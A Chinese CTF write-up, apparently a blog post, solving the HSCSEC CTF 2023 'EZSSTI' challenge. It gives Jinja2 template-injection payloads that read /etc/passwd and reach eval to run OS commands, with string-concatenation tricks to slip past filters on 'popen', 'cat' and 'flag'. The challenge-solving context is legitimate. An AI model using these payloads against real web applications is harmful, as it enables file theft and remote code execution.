HSCSEC CTF 2023 web-EZSSTI-wp

打开环境,根据题目的提示是ssti模板注入,刷题多的同学应该可以猜到get参数name,传入name={{7*'7'}}看一下,根据回显确定是JinJa2

找到这个类,是第99个

读取文件?name={{''.__class__.__base__.__subclasses__()[99].get_data(0,"/etc/passwd")}}

可以看到目前还没有被过滤,尝试读取flag文件,猜

这里对flag进行了替换,那尝试字符串拼接,这里“+”也被过滤了,换个思路命令执行吧

?name={{''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__}}查到可以执行命令的函数eval

发现过滤了popen,简单拼接

po"+"pen()拼接后回显提示缺少cmd参数,绕过有效

加入命令,看到回显确定执行成功

获取flag路径

cat flag发现又被过滤了

尝试用tail替换cat,用f"+"lag替换flag,拿到flag

最终payload

?name={{''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.eval("__import__('os').po"+"pen('tail%20f"+"lag').read()")}}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值